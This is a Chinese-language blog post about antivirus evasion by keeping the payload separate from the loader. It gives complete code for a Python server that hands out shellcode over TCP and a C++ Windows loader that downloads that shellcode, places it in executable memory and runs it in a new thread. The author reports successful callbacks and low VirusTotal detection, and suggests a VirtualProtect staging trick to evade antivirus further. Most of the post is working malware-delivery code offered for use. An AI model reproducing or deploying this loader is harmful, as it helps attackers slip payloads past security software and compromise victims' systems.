分离免杀测试
简介
这个系列断了好久(年底要冲塔恰饭的),今天重新开坑。之前是直接把shellcode混淆以后放在源码中运行直接加载,之前的那个今天看了看V站已经有17个报毒了。这次尝试分离shellcode,将shellcode放在外网的服务器上,本地实现一个有下载功能的shellcode加载器。测试以下效果还是可以的。
测试
首先实现服务器端的代码,这个比较简单,用python写一下几行代码就可以了,这种demo网上很多的。
import socket
import threading
import time
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 36444)) # 公网地址
s.listen(20)
timeout = 10
socket.setdefaulttimeout(timeout)
while True:
sock, addr = s.accept()
t = threading.Thread(target=tcplink, args=(sock, addr))
t.start()
def tcplink(sock, addr):
print('Start download shellcode %s:%s...' % addr)
shellcode = b'1111111' #your shellcode
print(len(shellcode))
while True:
data = sock.recv(1024)
time.sleep(3)
sock.send(shellcode)
sock.close()
print('Finish %s:%s ' % addr)
if __name__ == '__main__':
main()
然后在服务器上nohup挂到后台就行了,根据需求修改对应的shellcode。
然后是客户端代码:
#include "stdafx.h"
#include <stdio.h>
#include <iostream>
#include <WinSock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma warning(disable:4996)
using namespace std;
int main(int argc, char *argv[])
{
const int BUF_SIZE = 1024;
WSADATA wsd;
SOCKET sHost;
SOCKADDR_IN servAddr;
char buf[BUF_SIZE];
char bufRecv[BUF_SIZE];
DWORD dwThreadId;
HANDLE hThread;
DWORD dwOldProtect;
int retVal;
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
{
cout << "WSAStartup failed!" << endl;
return -1;
}
sHost = socket(AF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET == sHost)
{
cout << "socket failed!" << endl;
WSACleanup();
return -1;
}
servAddr.sin_family = AF_INET;
servAddr.sin_addr.s_addr = inet_addr(argv[1]);
servAddr.sin_port = htons((short)atoi(argv[2]));
retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr));
if (SOCKET_ERROR == retVal)
{
cout << "connect failed!" << endl;
closesocket(sHost);
WSACleanup();
return -1;
}
ZeroMemory(buf, BUF_SIZE);
strcpy(buf, "ok");
retVal = send(sHost, buf, strlen(buf), 0);
if (SOCKET_ERROR == retVal)
{
cout << "send failed!" << endl;
closesocket(sHost);
WSACleanup();
return -1;
}
cout << "Start download." << endl;
ZeroMemory(bufRecv, BUF_SIZE);
Sleep(2000);
cout << "Downloading." << endl;
//RecvLine(sHost, bufRecv);
recv(sHost, bufRecv, BUF_SIZE, 0);
cout << "OK." << endl;
Sleep(4000);
closesocket(sHost);
WSACleanup();
cout << "Start load" << endl;
char * shellcode = (char *)VirtualAlloc(
NULL,
BUF_SIZE,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
CopyMemory(shellcode, bufRecv, BUF_SIZE);
hThread = CreateThread(
NULL,
NULL,
(LPTHREAD_START_ROUTINE)shellcode,
NULL,
NULL,
&dwThreadId
);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
编译出来运行就可以了:
shellcodeloader.exe ip port #服务器ip和端口
可以成功上线。
查杀情况
放V站上查杀了一下还是很稳健的。
补充
这边加载shellcode是直接申请了可读可写可执行,实际中可以先申请可读可写,然后通过VirtualProtect改变它的属性为可执行,利用这种渐进申请的方式能更好的规避杀软的检测。
事实我在测试中可能是应为环境的原因渐进申请会中断报错,遂放弃,用了之前的加载方式。
项目地址
我把写的demo放到github上了,有兴趣可以自己看看。项目地址:https://github.com/hmoytx/aaaAyyYy
参考内容
https://payloads.online/archivers/2019-11-10/5
https://github.com/Rvn0xsy/Cooolis-ms